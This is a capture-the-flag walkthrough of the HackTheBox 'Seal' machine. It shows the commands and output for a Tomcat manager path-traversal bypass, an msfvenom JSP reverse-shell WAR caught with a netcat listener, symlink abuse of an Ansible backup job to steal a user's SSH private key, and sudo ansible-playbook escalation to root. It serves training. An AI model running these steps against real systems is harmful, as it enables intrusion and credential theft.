HTB Seal Walkthrough

The most prolific box smasher in Italy returns with another excellent HTB technical writeup.

HTB Seal Walkthrough

Hello my friends from Italy and welcome to another of my technical HackTheBox write ups, a lot of work went into this BOX, but it has a surprisingly simple finish. Wooo lets jump right in with a scan!

The Nmap scan:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-25 22:00 CEST
Nmap scan report for 10.10.10.250
Host is up (0.054s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4b:89:47:39:67:3d:07:31:5e:3f:4c:27:41:1f:f9:67 (RSA)
|   256 04:a7:4f:39:95:65:c5:b0:8d:d5:49:2e:d8:44:00:36 (ECDSA)
|_  256 b4:5e:83:93:c5:42:49:de:71:25:92:71:23:b1:85:54 (ED25519)
443/tcp  open  ssl/http   nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Seal Market
| ssl-cert: Subject: commonName=seal.htb/organizationName=Seal Pvt Ltd/stateOrProvinceName=London/countryName=UK
| Not valid before: 2021-05-05T10:24:03
|_Not valid after:  2022-05-05T10:24:03
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
8080/tcp open  http-proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sun, 25 Jul 2021 20:02:25 GMT
|     Set-Cookie: JSESSIONID=node01qea7grri9wxoclqyih6odqhf8672.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   GetRequest: 
|     HTTP/1.1 401 Unauthorized
|     Date: Sun, 25 Jul 2021 20:02:25 GMT
|     Set-Cookie: JSESSIONID=node01bg64rqybkpngh53gqmnfr6lq8670.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Content-Length: 0
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Date: Sun, 25 Jul 2021 20:02:25 GMT
|     Set-Cookie: JSESSIONID=node0sh8c3mixw2bcddnq5nwuskn8671.node0; Path=/; HttpOnly
|     Expires: Thu, 01 Jan 1970 00:00:00 GMT
|     Content-Type: text/html;charset=utf-8
|     Allow: GET,HEAD,POST,OPTIONS
|     Content-Length: 0
|   RPCCheck: 
|     HTTP/1.1 400 Illegal character OTEXT=0x80
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 71
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character OTEXT=0x80</pre>
|   RTSPRequest: 
|     HTTP/1.1 505 Unknown Version
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 58
|     Connection: close
|     <h1>Bad Message 505</h1><pre>reason: Unknown Version</pre>
|   Socks4: 
|     HTTP/1.1 400 Illegal character CNTL=0x4
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|     <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x4</pre>
|   Socks5: 
|     HTTP/1.1 400 Illegal character CNTL=0x5
|     Content-Type: text/html;charset=iso-8859-1
|     Content-Length: 69
|     Connection: close
|_    <h1>Bad Message 400</h1><pre>reason: Illegal character CNTL=0x5</pre>
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.91%I=7%D=7/25%Time=60FDC2DA%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,F7,"HTTP/1\.1\x20401\x20Unauthorized\r\nDate:\x20Sun,\x2025\x2
SF:0Jul\x202021\x2020:02:25\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node01bg64
SF:rqybkpngh53gqmnfr6lq8670\.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20
SF:Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\nContent-Type:\x20text/h
SF:tml;charset=utf-8\r\nContent-Length:\x200\r\n\r\n")%r(HTTPOptions,109,"
SF:HTTP/1\.1\x20200\x20OK\r\nDate:\x20Sun,\x2025\x20Jul\x202021\x2020:02:2
SF:5\x20GMT\r\nSet-Cookie:\x20JSESSIONID=node0sh8c3mixw2bcddnq5nwuskn8671\
SF:.node0;\x20Path=/;\x20HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970
SF:\x2000:00:00\x20GMT\r\nContent-Type:\x20text/html;charset=utf-8\r\nAllo
SF:w:\x20GET,HEAD,POST,OPTIONS\r\nContent-Length:\x200\r\n\r\n")%r(RTSPReq
SF:uest,AD,"HTTP/1\.1\x20505\x20Unknown\x20Version\r\nContent-Type:\x20tex
SF:t/html;charset=iso-8859-1\r\nContent-Length:\x2058\r\nConnection:\x20cl
SF:ose\r\n\r\n<h1>Bad\x20Message\x20505</h1><pre>reason:\x20Unknown\x20Ver
SF:sion</pre>")%r(FourOhFourRequest,F7,"HTTP/1\.1\x20401\x20Unauthorized\r
SF:\nDate:\x20Sun,\x2025\x20Jul\x202021\x2020:02:25\x20GMT\r\nSet-Cookie:\
SF:x20JSESSIONID=node01qea7grri9wxoclqyih6odqhf8672\.node0;\x20Path=/;\x20
SF:HttpOnly\r\nExpires:\x20Thu,\x2001\x20Jan\x201970\x2000:00:00\x20GMT\r\
SF:nContent-Type:\x20text/html;charset=utf-8\r\nContent-Length:\x200\r\n\r
SF:\n")%r(Socks5,C3,"HTTP/1\.1\x20400\x20Illegal\x20character\x20CNTL=0x5\
SF:r\nContent-Type:\x20text/html;charset=iso-8859-1\r\nContent-Length:\x20
SF:69\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>re
SF:ason:\x20Illegal\x20character\x20CNTL=0x5</pre>")%r(Socks4,C3,"HTTP/1\.
SF:1\x20400\x20Illegal\x20character\x20CNTL=0x4\r\nContent-Type:\x20text/h
SF:tml;charset=iso-8859-1\r\nContent-Length:\x2069\r\nConnection:\x20close
SF:\r\n\r\n<h1>Bad\x20Message\x20400</h1><pre>reason:\x20Illegal\x20charac
SF:ter\x20CNTL=0x4</pre>")%r(RPCCheck,C7,"HTTP/1\.1\x20400\x20Illegal\x20c
SF:haracter\x20OTEXT=0x80\r\nContent-Type:\x20text/html;charset=iso-8859-1
SF:\r\nContent-Length:\x2071\r\nConnection:\x20close\r\n\r\n<h1>Bad\x20Mes
SF:sage\x20400</h1><pre>reason:\x20Illegal\x20character\x20OTEXT=0x80</pre
SF:>");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 33.55 seconds

Three open ports: ssh on port 22 and http on 8080 and 443 with the security protocol (https). I immediately enter the seal.htb domain in my /etc/hosts, and navigate on the portal.

A first light analysis shoe:

  • the search feature doesn't work
  • all the link move on the page
  • "read more" in the "about us" section do nothing
  • a possible username could be Jomono
  • contact form doesn't work
  • an administration email is [email protected]

My wappalyzer provide additional information:

I try with a dirb scan:

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox/_10.10.10.250 - Seal (lin)]
└─$ dirb https://seal.htb                                                                                                             255 ⨯

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sun Jul 25 22:14:42 2021
URL_BASE: https://seal.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: https://seal.htb/ ----
==> DIRECTORY: https://seal.htb/admin/                                                                                                     
==> DIRECTORY: https://seal.htb/css/                                                                                                       
==> DIRECTORY: https://seal.htb/host-manager/                                                                                              
==> DIRECTORY: https://seal.htb/icon/                                                                                                      
==> DIRECTORY: https://seal.htb/images/                                                                                                    
+ https://seal.htb/index.html (CODE:200|SIZE:19737)                                                                                        
==> DIRECTORY: https://seal.htb/js/                                                                                                        
==> DIRECTORY: https://seal.htb/manager/                                                                                                   
+ https://seal.htb/setup (CODE:502|SIZE:568)                                                                                               
[...]

Despite the "admin" folder, there does not seem to be any default file set (I receive 404 - Not Found) and the scan dirb inside it does not find anything. Also calling the folder with the curl command, the return value is a 302 - Temporary Redirect.

┌──(in7rud3r㉿kali-muletto)-[~/Dropbox/hackthebox]
└─$ curl --insecure https://seal.htb/admin -v
*   Trying 10.10.10.250:443...
* Connected to seal.htb (10.10.10.250) port 443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Request CERT (13):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Certificate (11):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-AES256-GCM-SHA384
* ALPN, server accepted to use http/1.1
* Server certificate:
*  subject: C=UK; ST=London; L=Hackney; O=Seal Pvt Ltd; OU=Infra; CN=seal.htb; [email protected]
*  start date: May  5 10:24:03 2021 GMT
*  expire date: May  5 10:24:03 2022 GMT
*  issuer: C=UK; ST=London; L=hackney; O=Seal Pvt Ltd; OU=Infra; CN=seal.htb; [email protected]
*  SSL certificate verify result: self signed certificate (18), continuing anyway.
> GET /admin HTTP/1.1
> Host: seal.htb
> User-Agent: curl/7.74.0
> Accept: */*
> 
* Mark bundle as not supporting multiuse
< HTTP/1.1 302 
< Server: nginx/1.18.0 (Ubuntu)
< Date: Sun, 25 Jul 2021 20:19:46 GMT
< Content-Length: 0
< Connection: keep-alive
< Location: http://seal.htb/admin/
< 
* Connection #0 to host seal.htb left intact

Since there is no other information on the page, before proceeding with port 8080, I try to take a look at the exploits available for the specific version of tomcat running (9.0.31).

Snyk - org.apache.tomcat:[email protected] vulnerabilities
Learn more about vulnerabilities in org.apache.tomcat:[email protected], Tomcat Servlet Engine Core Classes and Standard implementations. Including latest version and licenses detected.

I find something, including two Remote Code Executions and the exploiting code is available too; well, take in mind and go ahead with the port 8080.

I probably find the true nature of this BOX, a GitBucket portal. I run immediately to check the availability of exploits for the vulnerabilities of this platform.

GitBucket 4.23.1 - Remote Code Execution
GitBucket 4.23.1 - Remote Code Execution.. webapps exploit for Java platform

While it sounds interesting, there are two problems:

  • I don't know the version of GitBucket on the machine yet
  • the message "Working only when server is installed on Windows", puts me a little bit demoralized, this does not mean that an attempt can be made anyway

Anyway, let's proceed step by step, register a new user and go around the portal.

After becoming familiar with the system and aware of the fact that we are dealing with a code versioning platform, I have no doubts on how to proceed (I just need to understand how to use the features that I normally use on GitHub). I discover that there are two repositories, one for the infrastructure (for the configurations of apache, nginx, etc...) and another for the vegetables portal. After going through the latest versions of the files and realizing that there is no interesting information, I try to see the versions in the previous branches and commits and finally I find something.

<user username="tomcat" password="42MrHBf*z8{Z%" roles="manager-gui,admin-gui"/>

Unfortunately I don't know how to access tomcat, I have read some links inside the configuration files, but better play it safe and look for information online. I thus discover some url to use (some of these identified by the session with the dirb), at first I am not so lucky and access is denied (however, It doesn't asked for authentication and also by providing them in the url itself, I can not log in).

https://seal.htb/host-manager/text
https://seal.htb/host-manager/html

Reading on the source files on the GitBucket portal (seal_market/tomcat/tomcat-users.xml) I found that:

<!--
  NOTE:  By default, no user is included in the "manager-gui" role required
  to operate the "/manager/html" web application.  If you wish to use this app,
  you must define such a user - the username and password are arbitrary. It is
  strongly recommended that you do NOT use one of the users in the commented out
  section below since they are intended for use with the examples web
  application.
-->

I find some documentation which shows a series of url to access the tomcat management portal.

Apache Tomcat 7 (7.0.109) - Manager App HOW-TO

But again, with the exception of a few stats pages, I can't access what really can come in handy.

https://seal.htb/manager/text
https://seal.htb/manager/html
https://seal.htb/manager/status
https://seal.htb/manager/status/all

I feel almost a dead end, so I go back to looking for exploits for tomcat 9.0.31. Once again I find something interesting, but even in this case I need to upload some files that allow to exploit the tomcat vulnerabilities.

https://vulmon.com/searchpage?page=1&q=Apache%20Tomcat%209.0.31&sortby=bydate&scoretype=cvssv3

So I focus my research on how to upload files to tomcat.

Violare Tomcat tramite upload di un file war malevolo con tre diverse metodologie : Hacktips - Guide di Sicurezza Informatica e Hacking Etico
Hacktips - Guide di Sicurezza Informatica e Hacking Etico

It seems like a very interesting exploit, but I still can't reach the administration mask for uploading files. I try some traversal paths, in the hope that there is some vulnerability, but the paths are interpreted and solved, so another hole in the water.

https://seal.htb/manager/status/../html

Let's go back to looking for how to upload with tomcat and I find indications on how to do it by calling the url directly via curl.

tomcat - deploy war files using curl
tomcat - deploy war files using curl. GitHub Gist: instantly share code, notes, and snippets.

But it doesn't work.

┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.10.250 - Seal (lin)/attack/git/CVE-2020-9484-Mass-Scan]
└─$ curl --insecure --upload-file targets.txt "https://tomcat:42MrHBf*z8\{Z%@seal.htb/manager/deploy?path=/application-0.1-1"                                                                                                            7 ⨯
<!doctype html><html lang="en"><head><title>HTTP Status 405 – Method Not Allowed</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 405 – Method Not Allowed</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The method received in the request-line is known by the origin server but not supported by the target resource.</p><hr class="line" /><h3>Apache Tomcat/9.0.31 (Ubuntu)</h3></body></html> 

Really depressed, I decide to deepen the traversal path techniques.

Path Traversal | OWASP
Path Traversal on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.

I have tried all the techniques listed in this guide, but without success. The solution comes when, in my research I mix the terms traversal path with tomcat and nginx.

Tomcat path traversal via reverse proxy mapping - Vulnerabilities - Acunetix
Web servers and reverse proxies normalize the request path. For example, the path /image/../image/ is normalized to /images/. When Apache Tomcat is used together with...

And when I call the URL https://seal.htb/manager/status/..;/html...

I'm sure I will always remember this special combination of systems, vulnerabilities and exploits.

Perfect, honestly, the latest exploit that use a malicious war file is really interesting, so I decide to leave out for the moment all the exploits that I had initially found and proceed with that (among other things, tutorial in Italian).

Well, prepare the war file (the IP address assigned to me through the HTB VPN was 10.10.15.33 and I chose the usual port 4444 to spawn my listener):

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.10.250 - Seal (lin)/attack/rshell]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.15.33 LPORT=4444 -f war > shell.war
Payload size: 1089 bytes
Final size of war file: 1089 bytes
                                                                                                                                                                                                                                             
┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.10.250 - Seal (lin)/attack/rshell]
└─$ ls -la   
total 12
drwxr-xr-x 2 in7rud3r in7rud3r 4096 Jul 28 23:44 .
drwxr-xr-x 5 in7rud3r in7rud3r 4096 Jul 28 23:43 ..
-rw-r--r-- 1 in7rud3r in7rud3r 1089 Jul 28 23:44 shell.war

When I try to upload the file, however, I get an error, obviously the upoad form is still using the correct url, but this is easily solved, just inspect the html code with the browser developer toolbar and change the url of the action on the form, from https://seal.htb/manager/html/upload?org.apache.catalina.filters.CSRF_NONCE=EE0322FBF922263EFA5E93C0A5F90BD2 to https://seal.htb/manager/.;/html/upload?org.apache.catalina.filters.CSRF_NONCE=EE0322FBF922263EFA5E93C0A5F90BD2.

A new application will then be showed on the page, just click on it, after the listener is launched on port 4444.

And we are in.

┌──(in7rud3r㉿kali-muletto)-[~/…/hackthebox/_10.10.10.250 - Seal (lin)/attack/rshell]
└─$ nc -lvp 4444             
listening on [any] 4444 ...
connect to [10.10.15.33] from seal.htb [10.10.10.250] 47224
whoami
tomcat
ls -la /home
total 12
drwxr-xr-x  3 root root 4096 May  5 12:52 .
drwxr-xr-x 20 root root 4096 Jul 26 13:43 ..
drwxr-xr-x  9 luis luis 4096 Jul 28 19:12 luis
ls -la /home/luis
total 51324
drwxr-xr-x 9 luis luis     4096 Jul 28 19:12 .
drwxr-xr-x 3 root root     4096 May  5 12:52 ..
drwxrwxr-x 3 luis luis     4096 May  7 06:00 .ansible
lrwxrwxrwx 1 luis luis        9 May  5 12:57 .bash_history -> /dev/null
-rw-r--r-- 1 luis luis      220 May  5 12:52 .bash_logout
-rw-r--r-- 1 luis luis     3797 May  5 12:52 .bashrc
drwxr-xr-x 3 luis luis     4096 May  7 07:00 .cache
drwxrwxr-x 3 luis luis     4096 May  5 13:45 .config
drwxrwxr-x 7 luis luis     4096 Jul 28 20:01 .gitbucket
-rw-r--r-- 1 luis luis 52497951 Jan 14  2021 gitbucket.war
drwxrwxr-x 3 luis luis     4096 May  5 13:41 .java
drwxrwxr-x 3 luis luis     4096 May  5 14:33 .local
-rw-r--r-- 1 luis luis      807 May  5 12:52 .profile
drwx------ 2 luis luis     4096 May  7 06:10 .ssh
-r-------- 1 luis luis       33 Jul 28 18:13 user.txt
-rw------- 1 luis luis     2742 Jul 28 19:12 .viminfo
cat /home/kuis/user.txt

Obviously I don't have the rights to access the user flag. So I proceed, as always, with a linpeas session, but the output does not seem to be displayed correctly, most certainly I need a tty shell, so I reconnect in the same way and spawn one.

python3 -c 'import pty; pty.spawn("/bin/sh")'
$

It works, let's take a look at the linpeas output and see how to proceed.

[...]
╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-unix/privilege-escalation#open-ports                                                                                                             
[...]
tcp6       0      0 127.0.0.1:8000          :::*                    LISTEN      1095/java           
[...]
══╣ Some home ssh config file was found
/usr/share/openssh/sshd_config                                                                                                                                                                                                               
Include /etc/ssh/sshd_config.d/*.conf
ChallengeResponseAuthentication no
UsePAM yes
X11Forwarding yes
PrintMotd no
AcceptEnv LANG LC_*
Subsystem       sftp    /usr/lib/openssh/sftp-server
[...]
╔══════════╣ Analyzing Interesting logs Files (limit 70)
-rw-r----- 1 www-data adm 30202763 Jul 29 21:25 /var/log/nginx/access.log                                                                                                                                                                    

-rw-r----- 1 www-data adm 919 Jul 29 20:39 /var/log/nginx/error.log
[...]
╔══════════╣ Backup files (limited 100)
-rw-rw-r-- 1 luis luis 606047 Jul 29 21:25 /opt/backups/archives/backup-2021-07-29-21:25:32.gz                                                                                                                                               
-rw-rw-r-- 1 luis luis 606047 Jul 29 21:26 /opt/backups/archives/backup-2021-07-29-21:26:36.gz
-rwxr-xr-x 1 root root 226 Feb 17  2020 /usr/share/byobu/desktop/byobu.desktop.old
-rw-r--r-- 1 root root 392817 Feb  9  2020 /usr/share/doc/manpages/Changes.old.gz
-rw-r--r-- 1 root root 7867 Jul 16  1996 /usr/share/doc/telnet/README.old.gz
-rw-r--r-- 1 root root 11886 Jul  5 07:59 /usr/share/info/dir.old
-rw-r--r-- 1 root root 2756 Feb 13  2020 /usr/share/man/man8/vgcfgbackup.8.gz
[...]

There seems to be something running locally, internally, on port 8000 (we will discover to be the vegetables portal). The second thing that attracts me is the sshd service, with configuration files. This however does not have enough information to allow me to connect, so I take this opportunity to investigate a bit about the ssh configuration of the user luis who is assigned the flag of the user, but also in this case, the access to his personal folder .ssh is denied to me. Access to the log files reported by linpeas is also denied me, and the reported backup files contain the portal files (it seems updated a few minutes ago and frequently). So I try to check if some process is running under the user luis.

$ ps -aux | grep luis
ps -aux | grep luis
luis        1099  0.0  0.0   2608   612 ?        Ss   16:29   0:00 /bin/sh -c java -jar /home/luis/gitbucket.war
luis        1100  0.7  9.1 3655956 367280 ?      Sl   16:29   1:50 java -jar /home/luis/gitbucket.war
root       43265  0.0  0.0   2608   604 ?        Ss   20:20   0:00 /bin/sh -c sleep 30 && sudo -u luis /usr/bin/ansible-playbook /opt/backups/playbook/run.yml
tomcat     43271  0.0  0.0   6300   724 pts/1    S+   20:20   0:00 grep luis

The one launched by the root user looks even more interesting; apparently, after thirty seconds of inactivity, an "ansible-playbook" script is launched with the user luis, but in sudo. The script itself is quite long, but it seems to use libraries to perform automatic operations. What interests us most is the configuration file that is passed to the command. Let's take a closer look at it.

$ cat /opt/backups/playbook/run.yml
cat /opt/backups/playbook/run.yml
- hosts: localhost
  tasks:
  - name: Copy Files
    synchronize: src=/var/lib/tomcat9/webapps/ROOT/admin/dashboard dest=/opt/backups/files copy_links=yes
  - name: Server Backups
    archive:
      path: /opt/backups/files/
      dest: "/opt/backups/archives/backup-{{ansible_date_time.date}}-{{ansible_date_time.time}}.gz"
  - name: Clean
    file:
      state: absent
      path: /opt/backups/files/

It's evident that the files inside the dashboard folderof the portal are first copied and then backed up. If I could also back up the user flag file that would be great. But I have to move the file inside the dashboard folder, but if I could do something similar, I could probably also read it and all this would be useless. However, the option in copying the files action "copy_links=yes" comes in handy, which suggests that the linked files will also be copied. So let's see if by inserting a symlynk to the user flag we can insert it in the portal backup file and then recover it later (and let's hope for a bit of luck with the rights of the original file).

$ ln -s /home/luis/user.txt user-txt        
ln -s /home/luis/user.txt user-txt
ln: failed to create symbolic link 'user-txt': Permission denied
$ pwd
pwd
/var/lib/tomcat9/webapps/ROOT/admin/dashboard
$ ls -la
ls -la
total 100
drwxr-xr-x 7 root root  4096 May  7 09:26 .
drwxr-xr-x 3 root root  4096 May  6 10:48 ..
drwxr-xr-x 5 root root  4096 Mar  7  2015 bootstrap
drwxr-xr-x 2 root root  4096 Mar  7  2015 css
drwxr-xr-x 4 root root  4096 Mar  7  2015 images
-rw-r--r-- 1 root root 71744 May  6 10:42 index.html
drwxr-xr-x 4 root root  4096 Mar  7  2015 scripts
drwxrwxrwx 2 root root  4096 May  7 09:26 uploads
$ cd uploads
cd uploads
$ ls -la
ls -la
total 8
drwxrwxrwx 2 root root 4096 May  7 09:26 .
drwxr-xr-x 7 root root 4096 May  7 09:26 ..
$ ln -s /home/luis/user.txt user-txt
ln -s /home/luis/user.txt user-txt
$ ls -la
ls -la
total 8
drwxrwxrwx 2 root   root   4096 Jul 30 20:33 .
drwxr-xr-x 7 root   root   4096 May  7 09:26 ..
lrwxrwxrwx 1 tomcat tomcat   19 Jul 30 20:33 user-txt -> /home/luis/user.txt

The permissions of the tomcat user don't allow me to create the link inside the dashboard folder, but I can do it in the upload subfolder. This should be enough. We wait thirty seconds and proceed to extract the files from the backup.

As always for simplicity and to prevent the processes inside the machine from deleting the newly created files, I proceed to export them to my machine and work them locally. As already said in my other writeups, to do this I use the netcat and following here you can find the explanation of how to make a file transfer through netcat.
Using Netcat for File Transfers

And finally I have the user flag.

┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.10.250 - Seal (lin)/attack/ws/gz]
└─$ tar -xf bck.gz
                                                                                                                                                                                                                                             
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.10.250 - Seal (lin)/attack/ws/gz]
└─$ ls -la
total 604
drwxr-xr-x 3 in7rud3r in7rud3r   4096 Jul 30 22:48 .
drwxr-xr-x 5 in7rud3r in7rud3r   4096 Jul 30 22:41 ..
-rw-r--r-- 1 in7rud3r in7rud3r 606167 Jul 30 22:44 bck.gz
drwxr-xr-x 7 in7rud3r in7rud3r   4096 May  7 11:26 dashboard
                                                                                                                                                                                                                                             
┌──(in7rud3r㉿kali-muletto)-[~/…/_10.10.10.250 - Seal (lin)/attack/ws/gz]
└─$ cd dashboard/uploads 
                                                                                                                                                                                                                                             
┌──(in7rud3r㉿kali-muletto)-[~/…/ws/gz/dashboard/uploads]
└─$ ls -la
total 12
drwxr-xr-x 2 in7rud3r in7rud3r 4096 Jul 30 22:48 .
drwxr-xr-x 7 in7rud3r in7rud3r 4096 May  7 11:26 ..
-r-------- 1 in7rud3r in7rud3r   33 Jul 30 18:29 user-txt
                                                                                                                                                                                                                                             
┌──(in7rud3r㉿kali-muletto)-[~/…/ws/gz/dashboard/uploads]
└─$ cat user-txt        
e******************************5

Ok, of course I tried the same process for the root flag, but unfortunately the backup files are not even created in this case; there must be some control unknown to me. However, after some time wasted looking for an alternative solution or way, I realized that the elevation of privileges to root should have been done by the user luis, useless so he looked for a solution that did not foresee the escalation first to that user. Then I was reminded of the .ssh folder of the user luis and that I could then try to recover the files inside it using the same trick of the backup. I then linked the entire .ssh folder and had access to the public and private keys used for the connection.

ln -s /home/luis/.ssh luis-ssh

And it work again.

┌──(in7rud3r㉿kali-muletto)-[~/…/gz/dashboard/uploads/luis-ssh]
└─$ pwd                    
/home/in7rud3r/Dropbox/hackthebox/_10.10.10.250 - Seal (lin)/attack/ws/gz/dashboard/uploads/luis-ssh
                                                                                                                                                                                                                                             
┌──(in7rud3r㉿kali-muletto)-[~/…/gz/dashboard/uploads/luis-ssh]
└─$ ls -la
total 20
drwx------ 2 in7rud3r in7rud3r 4096 May  7 08:10 .
drwxr-xr-x 3 in7rud3r in7rud3r 4096 Jul 30 23:26 ..
-rw-r--r-- 1 in7rud3r in7rud3r  563 May  7 08:10 authorized_keys
-rw------- 1 in7rud3r in7rud3r 2590 May  7 08:10 id_rsa
-rw-r--r-- 1 in7rud3r in7rud3r  563 May  7 08:10 id_rsa.pub

And finally I'm in as luis.

┌──(in7rud3r㉿kali-muletto)-[~/…/gz/dashboard/uploads/luis-ssh]
└─$ ssh -i id_rsa [email protected]                                                                                                                                                                                                        255 ⨯
The authenticity of host 'seal.htb (10.10.10.250)' can't be established.
ECDSA key fingerprint is SHA256:YTRJC++A+0ww97kJGc5DWAsnI9iusyCE4Nt9fomhxdA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'seal.htb' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 30 Jul 2021 09:38:57 PM UTC

  System load:           0.48
  Usage of /:            46.5% of 9.58GB
  Memory usage:          15%
  Swap usage:            0%
  Processes:             175
  Users logged in:       0
  IPv4 address for eth0: 10.10.10.250
  IPv6 address for eth0: dead:beef::250:56ff:feb9:c3d1

 * Pure upstream Kubernetes 1.21, smallest, simplest cluster ops!

     https://microk8s.io/

22 updates can be applied immediately.
15 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


Last login: Fri May  7 07:00:18 2021 from 10.10.14.2
luis@seal:~$ whoami
luis
luis@seal:~$ sudo -l
Matching Defaults entries for luis on seal:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User luis may run the following commands on seal:
    (ALL) NOPASSWD: /usr/bin/ansible-playbook *

Obviously, I should have expected it, given the running process that revealed the backup trick to me; luis can run the ansible-playbook script as root. It is a short step from here to the possible solution. We practically have the ability to copy and backup files almost to our liking. The previous process, which previously failed, may work now, by starting the script manually. So let's try to modify the configuration file to perform this action, starting from the original one. The operation is not easy, I get several errors, but then something comes out and I find myself with the root files and the backup as desired.

-rw-r--r-- 1 root root  206 Jul 30 21:55 backup-root.gz
-r-------- 1 root root   33 Jul 30 21:36 root.txt

Unfortunately, the copy took place with the permissions of the original files maintained.

luis@seal:~/.tmp$ cat /opt/backups/archives/root.txt
cat: /opt/backups/archives/root.txt: Permission denied

I need to figure out how to change those permissions while copying. Searching online for "ansible-playbook copy file with different permission", something comes out.

ansible.builtin.copy – Copy files to remote locations — Ansible Documentation

At the bottom of the guide are some examples of configuration files, I take one and modify it for my needs.

- hosts: localhost
  tasks:
  - name: Copy file with owner and permissions
    ansible.builtin.copy:
      src: /root/root.txt
      dest: /opt/backups/archives
      owner: luis
      mode: '0644'

And finally, the root flag is mine too.

luis@seal:~/.tmp$ sudo /usr/bin/ansible-playbook root.yaml && cat /opt/backups/archives/root.txt
[WARNING]: provided hosts list is empty, only localhost is available. Note that the implicit localhost does not match 'all'

PLAY [localhost] ****************************************************************************************************************************************************************************************************************************

TASK [Gathering Facts] **********************************************************************************************************************************************************************************************************************
ok: [localhost]

TASK [Copy file with owner and permissions] *************************************************************************************************************************************************************************************************
changed: [localhost]

PLAY RECAP **********************************************************************************************************************************************************************************************************************************
localhost                  : ok=2    changed=1    unreachable=0    failed=0    skipped=0    rescued=0    ignored=0   

8******************************5

Thanks again to everyone who reads me. And even for today... that's all folks, good hacking until the next writeup.

The awesome image used in this article was created by photographer Tim Tadder.